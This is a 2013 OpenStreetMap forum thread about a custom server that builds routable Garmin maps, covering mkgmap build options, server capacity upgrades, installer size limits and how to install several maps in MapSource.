- Re: Worldwide routable Garmin maps: URL REMOVED · chris66 (Gast) · 12.01.2013 19:17 · [flux]
Hi,
Is the site no longer working with FF18 ?There are some users reporting in the Q&A Forum and myself also have no success.
Chris
- Re: Worldwide routable Garmin maps: URL REMOVED · Boswachter (Gast) · 13.01.2013 08:50 · [flux]
chris66 wrote:
Hi,
Is the site no longer working with FF18 ?There are some users reporting in the Q&A Forum and myself also have no success.
Chris
Which site? This Forum? I have no problems with FF18.
Peter
- Re: Worldwide routable Garmin maps: URL REMOVED · chris66 (Gast) · 13.01.2013 10:04 · [flux]
Hi,
was already repaired by Lambertus.
Chris - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 13.01.2013 11:26 · [flux]
I've been informed that the server is currently not reachable because of network maintenance work. Please be patient, the server should be back in a few hours.
- Re: Worldwide routable Garmin maps: URL REMOVED · wwgkn (Gast) · 14.01.2013 11:47 · [flux]
Hi,
since Saturday I am trying to download a map with some Asian tiles.
I am able to select the regarding tiles and submit the request, but I do not get any mail. No confirmation and no mail containing the download path.What can I do?
Regards wwgkn
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 14.01.2013 14:10 · [flux]
Thanks for the report. I think the mail service has stopped because of the network maintenance. The mail service has been restarted and verified that it's working again. I don't know if you'll receive the old messages, but you can simply request your map again in case you don't.
- Re: Worldwide routable Garmin maps: URL REMOVED · wwgkn (Gast) · 14.01.2013 14:19 · [flux]
Thank you.
I now received all mails of the previous tries of map generation.
I started to download the relevant files. However it seems that I am not the only one who is doing this now.But this is a minor issue and will disappear, soon.
Best Regards wwgkn
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 14.01.2013 14:23 · [flux]
It's possible that many people are downloading now. If they all do at the same time then the harddisks will be having a hard time providing the proper bytes and everyone will have much reduced download speeds. If you don't need your map immediately then you can try again in a few hours and enjoy a much faster download 🙂
Edit: Yup, the custom map server is quite busy:
top - 14:21:41 up 171 days, 3:40, 1 user, load average: 8.31, 11.25, 10.59
Tasks: 146 total, 4 running, 142 sleeping, 0 stopped, 0 zombie
Cpu(s): 36.3%us, 0.6%sy, 0.0%ni, 2.8%id, 60.2%wa, 0.0%hi, 0.3%si, 0.0%st
Mem: 4044464k total, 3891924k used, 152540k free, 17156k buffers
Swap: 8299516k total, 38476k used, 8261040k free, 3611492k cached - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 14.01.2013 17:26 · [flux]
ligfietser wrote:
Lambertus, can you check if the lite version uses the parameter --generate-sea=land-tag=natural=background?
I suspect it uses somehow natural=land as background (0x27) which covers almost everything because I use it for other purposes in my typ file (islands in a lake for instance).The OFM Lite background is still not in order. I can't find any OFM Lite options on the server, only one build.php that redirects to a general one. There is one build.php.old that contains the generate-sea=land-tag=natural=background options so there might be something wrong in the scripts. Can you check this Lambertus?
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 14.01.2013 21:30 · [flux]
Indeed, there is currently only one build script for both maps which includes a config script that is map-specific. I messed-up while extracting the config from the old (individual) build scripts, somehow the generate-sea option was lost during this process which I only noticed after you mentioned it. I've added this option to the config last weekend and a new update is running.
BTW, the previous update failed because the planet update script generated (the osmupdate too actually) a corrupt planet somehow. There are so many steps where things can (and do!) go wrong... sigh 🙄
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 14.01.2013 22:56 · [flux]
Lambertus, you remind me of this guy: 😉
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 15.01.2013 09:39 · [flux]
Lol 🤣
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 15.01.2013 19:02 · [flux]
Lambertus wrote:
Indeed, there is currently only one build script for both maps which includes a config script that is map-specific. I messed-up while extracting the config from the old (individual) build scripts, somehow the generate-sea option was lost during this process which I only noticed after you mentioned it. I've added this option to the config last weekend and a new update is running.
In your config.inc.php I still see some options that are not correct:
" --reduce-point-density=4",
" --reduce-point-density-polygon=8"," --make-opposite-cycleways"," --link-pois-to-ways",
" --precomp-sea='/home/lambertus/garmin/utils/sea'",
" --generate-sea=land-tag=natural=background",
" --show-profiles=1",
" --add-pois-to-lines",
" --index",
" --location-autofill=bounds,is_in,nearest",
" --latin1", // implies code-page=1252
" --ignore-maxspeeds",
" --remove-short-arcs",
" --min-size-polygon=10",
" --merge-lines",
" --add-pois-to-areas",
" --preserve-element-order",
" --route",
" --name-tag-list=name:en,int_name,name:zh_py,name:engels,name"Can you also add
--copyright-message: Map data © openstreetmap.org, Map layout © openfietsmap.nlAnd update the styles and typ file?
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 16.01.2013 11:08 · [flux]
Sorry Ligfietser, I must have been deprived of enough blood sugar when creating those config files 🙄
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 16.01.2013 12:20 · [flux]
No worries, the only tag that could lead to routing issues is --make-opposite-cycleways
I have my own solution for this in my styles so this one isnt needed. - Re: Worldwide routable Garmin maps: URL REMOVED · GRi (Gast) · 16.01.2013 22:13 · [flux]
Just installed the new OFM. This seems to be ok. Both with the included typ file and with my own 2, adjusted ones.
Question for ligfietser: do I have to check my own typ's agains the included one? Are there important or interesting changes?Geert
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 16.01.2013 23:18 · [flux]
GRi wrote:
Just installed the new OFM. This seems to be ok. Both with the included typ file and with my own 2, adjusted ones.
Question for ligfietser: do I have to check my own typ's agains the included one? Are there important or interesting changes?Geert
Good to hear everyting is fine now. You can check the differences in typ files on ati.land.cz or check the revisions in the OFM typ file here:
http://code.google.com/p/mkgmap-style-s … txt&old=86 - Re: Worldwide routable Garmin maps: URL REMOVED · brjhaverkamp (Gast) · 17.01.2013 12:05 · [flux]
Hi Lambertus,
Thanks for the easy to use Garmin map download facility.
It has become a lot more userfriendly and versatile since I last visited in 2011. OSM is unstoppably moving forward!I'd love to see two additions though:
- some readymade maps for download. Navigation map of Europe or Benelux would be my first idea, but maybe you can see in your logs which are the most frequently requested maps.
- The ability to select multiple countries in the country dialog. For me I would like to select all tiles for Netherlands, Belgium and Germany for instance.Kind Regards and thanks for you great work.
Bert
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 18.01.2013 09:35 · [flux]
Hello Bert, thanks for the compliments, they are shared with many others who contributed 🙂
some readymade maps for download. Navigation map of Europe or Benelux would be my first idea, but maybe you can see in your logs which are the most frequently requested maps.
I've previously dreamed about a functionality like this. I guess the best option would be to provide a polygon in Well Known Text format as url parameters and then match+select tiles. Something like:
http://garmin.openstreetmap.nl?POLYGON((30␣10,␣10␣20,␣20␣40,␣40␣40,␣30␣10))
This would allow people to provide permalinks to areas that are independent of map versions. Shouldn't be too difficult to implement, but time is in short demand.
The ability to select multiple countries in the country dialog. For me I would like to select all tiles for Netherlands, Belgium and Germany for instance.
That's a nice idea, something like hold the shift-key while clicking on a list item to add another country to the selection?
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 18.01.2013 09:44 · [flux]
Lambertus wrote:
but time is in short demand.
I guess that's why the typ file and mkgmap configuration developed by Minko and me hasn't been implemented yet. Anyway, I appreciate the time and effort you put into this project. I have now figured out how to drag and drop make my own maps. 😎
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 18.01.2013 10:24 · [flux]
Beddhist, shame on me for I not implementing the stylesheet yet, you guys put a lot of time into that. Is it possible that you investigate what changes in Mkgmap parameters are needed to get the stylesheet in use?
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 18.01.2013 10:49 · [flux]
I'll try. First, let me know your current params. I don't think I have ever changed them, though.
Regards,
Peter. - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 18.01.2013 13:44 · [flux]
$name = "generic";
$description = "OSM Generic Routable";
$family_id = "2000";
$product_id = "6";
$mapid = 63240000;
$style_dir="/home/lambertus/garmin/utils/styles/";
$style = "default";
$bounds = "/home/lambertus/garmin/utils/bounds.zip";
$max_size = 8*1024*1024;
$initial_nodes = 1500000;
$max_nodes = 1200000;
$type = "o5m";
$split_dir = "/home/lambertus/garmin/split-o5m";$script_dir = "/home/lambertus/garmin/$name";
$cities = "/home/lambertus/garmin/utils/cities15000.zip";$mkgmapOptions = array(
" --reduce-point-density=4",
" --reduce-point-density-polygon=8",
" --precomp-sea='/home/lambertus/garmin/utils/sea'"," --generate-sea=land-tag=natural=background",
" --show-profiles=1",
" --add-pois-to-lines",
" --index",
" --location-autofill=bounds,is_in,nearest",
" --latin1", // implies code-page=1252
" --ignore-maxspeeds",
" --remove-short-arcs",
" --min-size-polygon=10",
" --merge-lines",
" --add-pois-to-areas",
" --preserve-element-order",
" --route",
" --name-tag-list=name:en,int_name,name:zh_py,name:engels,name"
); - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 18.01.2013 14:51 · [flux]
Lambertus, I see you use --generate-sea=land-tag=natural=background also for the generic map but since natural=background is not a tag (with correspondent garmin ID) in the default style so either this would be ignored (which I hope) or the map will have issues. 🤔 Only use this tag for the OFM Lite.
What does max_size = 8*1024*1024 do? I assume it's an internal parameter for your tile scripts or is it a mkgmap option?
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 18.01.2013 15:35 · [flux]
Ok, the generate sea option is gone. The max_size is a parameter for the scripts, the generic map is created with tiles which are no larger then 8 MB so that older Garmin device users can use them.
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 30.01.2013 07:39 · [flux]
These options look fine to me, although I'm no mkgmap expert. Just give it a whirl.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 30.01.2013 19:07 · [flux]
Whirl given 😄
Takes a while before it'll be available for download though. The update must finish successfully and I have to adapt the site to add a test version of the generic map.
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 31.01.2013 11:50 · [flux]
Thanks Lambertus. I look forward to see the fruits of our combined labours.
- Re: Worldwide routable Garmin maps: URL REMOVED · Estate (Gast) · 03.02.2013 03:16 · [flux]
Is there a way to install more then one card to for ex. mapsource from openstreetmaps?
If I want to install more then one card it says generic card already exists and deletes that card so I can only see last installed one.
I already tried to rename the map after install with JaVaWa GMTK but that does not work, problem stays the same.
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 03.02.2013 04:42 · [flux]
Welcome to the forum, Estate.
[ When you write card you mean map, of course. ] The answer to your question is in the FAQ, which you should read anyway. You need to change the product ID. Changing the name is optional, but useful, otherwise they are all called "OSM Generic".
Regards,
Peter. - Re: Worldwide routable Garmin maps: URL REMOVED · Zemartelo (Gast) · 03.02.2013 04:55 · [flux]
I see that the last map update was almost three weeks ago.
I was wondering if this project is stopped or if theres a new website?
Thanks - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 03.02.2013 14:32 · [flux]
This project certainly hasn't stopped, updating has been postponed due to a new map being added which happens to be available now
Paging Beddhist @ Ligfietser 🙂
- Re: Worldwide routable Garmin maps: URL REMOVED · Estate (Gast) · 03.02.2013 16:35 · [flux]
Beddhist wrote:
Welcome to the forum, Estate.
[ When you write card you mean map, of course. ] The answer to your question is in the FAQ, which you should read anyway. You need to change the product ID. Changing the name is optional, but useful, otherwise they are all called "OSM Generic".
Regards,
Peter.Suggesting I did not read the faq ? well okay, I did read it but clearly not good enough 😉
I did try what you say here but it does not help maps are alle installed as OSM Generic Routable in Mapsource, which presents a problem offcourse, because I now can not use maps separately.
Reason I need separate maps is that I plan to use it on hollidays when on the move with our mobil home and do not want to get my Garmin cluthered and slow as hell, the second reason is that I normally (with tomtom at least) put all kinds of interesting sights and seeing marks in there so when on the move with our bikes we can easely visit what we want to see.
Is there a really good way to get the maps installed together ? It seems to me that this is the reason lots of users sell their garmins and choose for tomtom, or am I wrong assuming that ?
kind regards, Jan
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 03.02.2013 17:04 · [flux]
Have you tried the JaVaWa tool linked in the FAQ to change the product id (and name) of an already installed map? After that you can install a second map. Rinse and repeat to install as many maps as you want...
Edit: Ah, I see you tried changing names, but you need to change product id's as well (which is even more important then changing the name).
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 03.02.2013 21:13 · [flux]
Hmm, somehow the style is not showing in the new test map although a typ file is included.
- Re: Worldwide routable Garmin maps: URL REMOVED · JaVaWa (Gast) · 03.02.2013 23:00 · [flux]
Estate wrote:
Is there a really good way to get the maps installed together ? It seems to me that this is the reason lots of users sell their garmins and choose for tomtom, or am I wrong assuming that ?
Yes, they choose for TomTom because it is impossible to put OpenStreetMap maps on a TT; problem solved... 🙄
Installing OSM maps of a larger area is more difficult than installing an official Garmin map; that's true. But, when you can't get it to work you can always get a refund...Oh wait, you didn't pay anything for it.
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 03.02.2013 23:31 · [flux]
Lambertus wrote:
Hmm, somehow the style is not showing in the new test map although a typ file is included.
I just downloaded the new look Thailand map. Looks good to me here. The typ definitely works. Thanks for all your hard work you continue to put into this. 😄
As far as I am concerned this is the most useful OSM web site there is.
Now we can continue to fine tune the style.
Q: do we need POIs for areas? Every island gets a POI and there are lakes where the POI is way outside the water due to the crescent shape.
Another project I want to tackle at some point is a routable map optimised for motorcycles. As we all know, the maps can't distinguish between cars and bikes. There are many places where bikes can go, but not cars and vice versa.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 04.02.2013 09:39 · [flux]
Lambertus wrote:
This project certainly hasn't stopped, updating has been postponed due to a new map being added which happens to be available now
Paging Beddhist @ Ligfietser 🙂
I didnt get anything Lambertus 🤔
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 04.02.2013 09:46 · [flux]
Beddhist wrote:
Q: do we need POIs for areas? Every island gets a POI and there are lakes where the POI is way outside the water due to the crescent shape.
Yes we need them but not in all cases. This has to be finetuned. In mkgmap you can exclude it with something like place=* & mkgmap:area2poi!=true [0x.... resolution ..]
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 04.02.2013 14:20 · [flux]
Beddhist wrote:
I just downloaded the new look Thailand map. Looks good to me here. The typ definitely works. Thanks for all your hard work you continue to put into this. 😄
Well, thank you for the work on the stylesheet!
As far as I am concerned this is the most useful OSM web site there is.
😄
Another project I want to tackle at some point is a routable map optimised for motorcycles. As we all know, the maps can't distinguish between cars and bikes. There are many places where bikes can go, but not cars and vice versa.
Perhaps, if such a style would exist, I can add this to the site... hint hint 😉
Edit: posts about stylesheet moved to separate topic.
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- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 10.02.2013 01:26 · [flux]
Lambertus,
Any idea why this island is not rendered: N14.02267 E99.52300
It seems mapped correctly (I don't know for sure, it's a multi-polygon), but in the img file there is a river polygon exactly covering it. I guess that's an mkgmap bug?
Cheers,
Peter. - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 10.02.2013 20:46 · [flux]
The source OSM file is here.
There's no hint of trouble in the logs:
23:23:48 Render top level file 63240609
ulimit -t 900 && java -Xmx1792M -ea -jar /home/lambertus/garmin/utils/mkgmap/mkgmap.jar --family-id=2000 --product-id=6 --draw-priority=20 --description='OSM Generic Routable' --series-name='OSM Generic Routable' --style-file='/home/lambertus/garmin/utils/styles/' --style='generic_new' --bounds='/home/lambertus/garmin/utils/bounds.zip' --reduce-point-density=4 --reduce-point-density-polygon=8 --precomp-sea='/home/lambertus/garmin/utils/sea' --generate-sea=land-tag=natural=background --show-profiles=1 --add-pois-to-lines --index --location-autofill=bounds,is_in,nearest --latin1 --ignore-maxspeeds --remove-short-arcs --min-size-polygon=10 --merge-lines --add-pois-to-areas --preserve-element-order --route --name-tag-list=name:en,int_name,name:zh_py,name:engels,name --input-file=63240609.o5m
Time started: Wed Feb 06 23:23:48 CET 2013
WARNING: Style uses tag 'display_name' which is deprecated and will be removed soon. Please use the new tag 'mkgmap:display_name' instead.
Time finished: Wed Feb 06 23:25:00 CET 2013
Total time taken: 71587msI don't know why the island does not render.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 10.02.2013 22:30 · [flux]
Peter, it isnt rendered because of the wrong OSM tags. The inner polygon shouldnt tagged with riverbank but without any tags.
If a polygon tagged with riverbank means inside it will contain water (riverbanks are the outlines of the river), so mgkmap thinks it is a river instead of an island.
http://www.openstreetmap.org/browse/relation/2067334 All inner islands are tagged the wrong way, and those riverbank tags should be removed.
The correct way to tag a river like this, is to put a tag waterway=riverbank on the relation itself (with type=multipolygon), and no tags on inner and outer ways. - Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 11.02.2013 06:51 · [flux]
Thanks Minko, I should have known that. I fixed it. Can you please check it to make sure I have done it correctly?
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 11.02.2013 09:44 · [flux]
Looks good as far as tags are concerned. If you use JOSM as editor you can do a validation check.
- Re: Worldwide routable Garmin maps: URL REMOVED · harenber (Gast) · 14.02.2013 09:15 · [flux]
The custom server is currently offline for a hardware check/update.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 14.02.2013 12:07 · [flux]
Very large map requests (>2 GB) are becoming more and more common which requires up to 7 GB of ram to preform the necessary computations. Unfortunately the custom map server only had 4 GB ram thus forcing it to use the swap file on many occasions which dramatically reduces the performance. The map request queue grew to more then 200 on several occasions in the past few weeks and the server sometimes struggled to respond to all the people who tried to download their maps (connection timeouts).
So therefore I express many thanks to the technician @ Wuppertal university for searching, finding and installing 4GB extra memory into the custom map server. I hope it will considerably boost the production capacity of custom maps.
Onwards!
PS. Map requests larger then 4 GB are now rejected to further smooth the custom map production. I don't think Garmin GPS devices are capable of handling such large maps anyway.
- Re: Worldwide routable Garmin maps: URL REMOVED · popej (Gast) · 14.02.2013 17:13 · [flux]
You can't save files bigger than 4GB on FAT32, which is used in Garmin devices. Any img greater then 4GB is useless.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 15.02.2013 10:57 · [flux]
Thanks Popej, sometimes it's just that simple (on FAT32 files != >4GB).
Some further technical ramblings:
Besides the memory upgrade to prevent swapping (and allow some caching) I also started moving data around on the custom map server to include more harddisks in the map generation & serving. A single harddisk has a hard time to provide&store data for 3 map generation processes and 16 Apache download instances 😛. I/O wait frequently consumed three of the four available CPU cores and on average used about 1.5 cores, but by moving the source tiles to another disk this reduces the load on the harddisk considerably thus increasing map production throughput. The reason is simple: more spindels (harddisks) means there are more I/O operations available. I wish I knew there were unused disks in that server earlier 🙄Anyway, it seems there is again a little headroom for more users (or more maps)! 😄
- Re: Worldwide routable Garmin maps: URL REMOVED · 32110 (Gast) · 16.02.2013 15:11 · [flux]
I use both Garmin CN Europe 2013.1 and OSM by Lambertus. To display on Win 7 PC I have Mapsource 6.13.7 and 6.16.3. It is know that Mapsource 6.16.3 tends to distort maps especially as one moves further north whereas 6.13.7 makes a good shot at a better presentation. I was somewhat surprised, therefore, to see that the Garmin map seems to have exagerated E-W whereas the OSM map has reduced E-W in 6.16.3. This distortion occurs at all magnifications/scalings. See my snapshots in link which should show what I am trying to describe. Point I am trying to make is why do the Garmin and OSM versions not show the same distortion in Mapsource 6.16.3?
http://www.flickr.com/photos/40470386@N … 776262325/ - Re: Worldwide routable Garmin maps: URL REMOVED · popej (Gast) · 16.02.2013 16:33 · [flux]
Mapsource 6.16 compute compression factor for longitude according to medium latitude of a whole map. For small maps, like a single country, map looks much better then for CNE Europe, which include Reunion Island on Southern Hemisphere.
- Re: Worldwide routable Garmin maps: URL REMOVED · GRi (Gast) · 19.02.2013 01:11 · [flux]
Lambertus wrote:
PS. Map requests larger then 4 GB are now rejected to further smooth the custom map production. I don't think Garmin GPS devices are capable of handling such large maps anyway.
Just a remark on the statement that it would be useless to offer downloads bigger than what can be loaded on a gps device.
I don't think the size of what fits on a gps should be your point of view.
Maybe some, or even a lot of people put the downloaded stuff directly on a gps.
But what makes more sense I think, is to install the downloads first in Mapsource (Basecamp).
In Mapsource you plan routes. At the gps you navigate. That's different things.To give a real-life example: suppose you are a dutch speedskater, ride very nice routes on a Mountainbike as well, the bike that you also take to the big skating event at the Weissensee in Austria.
For the route by car to the Weissensee you want a special one to avoid all the queues around Munich and therefore you use the GR map in Mapsource from the Netherlands, completely to the far end of Austria. To be able to make this route, this GR map must be 1 map, not split in several ones, because otherwise the routing doesn't work and also you would miss the necessary overview.
For ATB-routes in the Netherlands, in the Sauerland and Teutoburger Wald in Germany where also is being cycled a lot, and at the Weissensee in Austra, the Open Fietsmap Light is used.
Again: in Mapsource you want 1 map, not having to have all the trouble of getting installed it several times with different names and having to switch map all the time if you are planning in another country.
With the cycling club, in summer a trip has been made to the Stelvio mountain in Italy and Alpe d'Huez in France. Not very handy to have to arrange a separate map for those purposes.For navigating on the gps, finally, you want another style than in Mapsource, since navigating routes is a completely other thing than planning routes.
So for maps on the gps, you first change typ files, then you extract an area from the Mapsource maps and send that to the gps (maps GR and OFMLight combined since an Edge 705 can only have 1 img file GMAPSUPP).
For other purposes, another map can be sent to the gps, other area e.g.
Basis is always the 2 maps in Mapsource, the GR and the OFMLight.Of course this is just 1 example, my point is you can't predict the usage of the maps.
Don't limit this on forehand because of what fits on a gps device. The useful size is completely independent from what fit's on the gps.
Not everyone only is using these maps in the local area.P.s.
1. Of course if you need to restrict the size because otherwise things fall over, there is a good reason. Which however, has disadvantages in usage.
2. In the last downloads for me, the Windows installer was missing. So to install the maps in Mapsource still, I used MapsetToolkit. This makes things less simple to use of course. - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 19.02.2013 20:48 · [flux]
Thanks For your feedback GRi, I agree that for certain uses a large map would be preferable. I wonder, though, how many people really need such large maps.
On a technical note: the most memory is used by the gmapsupp.img step which I could bypass when the user selects more then 4Gb tiles. However, the Windows installer is also limited in size because of the NSIS installer (2Gb).
- Re: Worldwide routable Garmin maps: URL REMOVED · GRi (Gast) · 19.02.2013 21:24 · [flux]
Lambertus wrote:
the most memory is used by the gmapsupp.img step
Is it an idea to let us make a choice in what we would like to get: If I get an installer I don't need the gmapsupp.img at all.
I only dowload the installer file, leave all the rest on ther server, untouched. A bit pity you generated them.
Maybe those who order an imgsupp don't need the installers?
Also people on Windows don't need the other executables, exactly as Apple people won't need a windows installer? - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 20.02.2013 11:09 · [flux]
The nsis limit can also solved by making an installer which dont include the tiles (like an install.exe that I use for my Europe or Germany map).
Of course this will ask for the user some extra efforts to unzip things first but if you want something extra you have to work for it. This also makes it not neccesary to include an extra set with the tiles only, and maybe even a Mac/Gmap format isn't needed anymore because with Javawa's Mapconverter this zip file can be easily installed for the Mac or as gmap. So then we have only one gmapsupp.img set (< 4 gb) and one zip file containing the tiles with a windows installer. See for example my Germany mapset: http://www.openfietsmap.nl/downloads/germanyWe could also think for asking a small donation first for very big mapsets larger then 2 Gb (5 euro minimum or so). That will exclude all people who are just downloading everything just for fun and so limit the server load.
- Re: Worldwide routable Garmin maps: URL REMOVED · popej (Gast) · 20.02.2013 19:08 · [flux]
You can use gmap format on Windows, even installation is easier, since no registry access is needed.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 20.02.2013 23:16 · [flux]
With Javawa's Mapconverter installing is indeed a piece of cake, manually you have to know where those files are stored.
But what about Linux users? They still need the osm_generic_tiles.zip. You only need to add a windows installer to this file then this file is for all platforms usable (Mac / gmap users need Javawa Mapconverter though). - Re: Worldwide routable Garmin maps: URL REMOVED · popej (Gast) · 21.02.2013 00:08 · [flux]
I believe more for Linux users than for Mac users 😉
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 21.02.2013 09:31 · [flux]
Yeah the Mac users wont be happy if they are offered a zip file which they only can install with Javawa's Mapconverter 🤔
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 05.03.2013 11:05 · [flux]
Changed the scripts on the custom map server to use more disks for map storage using a simple trick to spread the load.
For those interested:
$map_disks␣=␣array("/maps/0/garmin",␣"/maps/1/garmin",␣"/maps/2/garmin");
$msdIndex␣=␣hexdec(substr($md5sum,␣0,␣1))␣%␣count($map_disks); $map_storage_disk␣=␣$map_disks[$msdIndex];
Where /maps/0/, /maps/1/ and /maps/2/ are mount points for different harddisks. Using the modulo function (%) on the first character of the md5sum determines which disk to choose from the array. Alternatively I could have created a single RAID partition using the three disks but this was more fun and, importantly, less prone to me breaking the server 😎
Take for example as first character from an md5sum (each character in an md5sum is a hexadecimal number ranging 0 to f):
0 % 3 = 0
1 % 3 = 1
2 % 3 = 2
3 % 3 = 0
4 % 3 = 1
[..]
e % 3 = 2
f % 3 = 0Next is a custom NSIS installer for handling maps larger than 2 GB.
- Re: Worldwide routable Garmin maps: URL REMOVED · popej (Gast) · 05.03.2013 19:16 · [flux]
You should have about 20% more files on drive 0 than on 1 or 2. Do I estimate correctly? 😉
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 05.03.2013 20:19 · [flux]
Looks more like ~7% up to now, but I know what you mean. 🙂
- Re: Worldwide routable Garmin maps: URL REMOVED · prenard (Gast) · 06.03.2013 11:44 · [flux]
Hi,
I am going to ask a "newbie" questions...
Last weeks, I have made changes on OSM maps. These changes are now available on https://www.openstreetmap.org
I have seen, in the download section (http://planet.openstreetmap.org/), that a new "OSM database bundle" is generated every two weeks (the last one was generated on 18/02/2013).
My questions:
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what is the "refresh cycle" of your OSM database ?
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Do you use the new bundles ASAP when they are available ?
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Is-there a way to know the "refresh date" of your OSM database ?
Thanks for your help
Patrick
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what is the "refresh cycle" of your OSM database ?
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 06.03.2013 13:58 · [flux]
1) what is the "refresh cycle" of your OSM database ?
2) Do you use the new bundles ASAP when they are available ?
3) Is-there a way to know the "refresh date" of your OSM database ?1) About once a week (depending on how many changes are made to the toolchain)
2) Nope, only when a new update is started then the local planet copy is updated
3) The date on which the update is started is listed below the map on the website, e.g.Hosting is sponsored by Oxilion and others. Slippy map and Garmin maps are based on OpenStreetMap data. Map version: 24-02-2013
- Re: Worldwide routable Garmin maps: URL REMOVED · prenard (Gast) · 08.03.2013 16:43 · [flux]
Hi,
Thanks for your previous reply !
Another question: do you use a specific mkgmap "CUSTOM STYLE" to generate your "Generic Routable" maps ?
If the answer is YES, is-it possible to get it ?
Regards
Patrick
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- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 12.03.2013 21:21 · [flux]
I'm thrilled to announce that users of the new generic map (testing) should be able to search and use housenumbers with map version 11-03-2013 and later. This also applies to the Openfietsmap Lite version.
As a bonus I merged the BAG data in my local copy of the OSM planet file. The BAG contains all housenumbers for the Netherlands and is made available as a separate download by OSM user Gertjan Idema and with a bit of help from OSM user ligfietser.
Outside the Netherlands, searching housenumbers only works when available in the OSM data, so if housenumbers in your area aren't mapped in OSM yet then quickly go outside and map them so everyone can enjoy house to house routing in the Garmin maps from OpenStreetMap 😎
- Re: Worldwide routable Garmin maps: URL REMOVED · Jeroen Vreeken (Gast) · 13.03.2013 02:27 · [flux]
Hi,
First thanks for the maps. They really make mapping my surroundings real fun and actually usefull.
However I noticed this weekend on a trip to Utrecht that a piece of the A2 is missing east of Vught. This was with the maps from 24-2. Today I downloaded the 11-3 map for the Netherlands, but it seems to have the same problem. Is this a known problem? - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 13.03.2013 08:39 · [flux]
Jeroen,
They are probably busy with that road? I see it is rendered as a road under construction (new generic style).
On osm: construction = minor, highway = motorway.
If those constructions are finished, construction tags should be removed from OSM.
And I'll have a look at the style files not to render those minor constructions. - Re: Worldwide routable Garmin maps: URL REMOVED · petersfreeman (Gast) · 13.03.2013 23:22 · [flux]
Estate wrote:
Is there a way to install more then one card to for ex. mapsource from openstreetmaps?
If I want to install more then one card it says generic card already exists and deletes that card so I can only see last installed one.
I already tried to rename the map after install with JaVaWa GMTK but that does not work, problem stays the same.
Here is a reply to a previous post on the same issue:
I use MapSetToolKit. It is a simple tool to use for your purpose. It is a free download. What I did was to first come up with a Family ID for each of the countries (or in the case of larger countries, provinces). I used a system that assigns the following block of numbers:
1000-1999 = Africa
2001-2999 = Asia
3000-3999 = Europe
4000-4999 = North America
5000-5999 = (Spare)
6000-6999 = Oceania
7000-7999 = South AmericaFor North America, I use 4000-4399 for Canada and 4500-4999 for USA so that for a map of the state of Alabama has a family ID of 4505 as I simply assigned the states a number in alphabetical order in increments of 5, e.g.:
4500 North America USA
4505 North America USA AL ALABAMA
4510 North America USA AK ALASKA
4515 North America USA AS AMERICAN SAMOA
4520 North America USA AZ ARIZONASince the OSM generic maps from this site install with a Family ID of 2000. I never use 2000 for any maps. I install the maps into specific folders, for example, Australia goes into C:/Garmin/Maps/Oceania/Australia. After it is installed, I then run MapSetToolKit and select the map just installed into FamilyID 2000, click the edit button and change the Mapset name to OSM Australia, the registry name to OSM Australia and the family ID to my choice of 6050. I apply the changes and that is it!
Cheers,
Peter
- Re: Worldwide routable Garmin maps: URL REMOVED · popej (Gast) · 14.03.2013 17:08 · [flux]
Family ID in range 1 - 3000 is already used by commercial maps. Better use bigger values to avoid conflicts.
- Re: Worldwide routable Garmin maps: URL REMOVED · Zemartelo (Gast) · 15.03.2013 00:30 · [flux]
Are you still updating the traditional style?
I use these maps on my Oregon 550t and the new mapstyle hides alot of information (like abandoned railway beds) and they are important in an outdoor unit.I hope the old stle has not been dropped yet
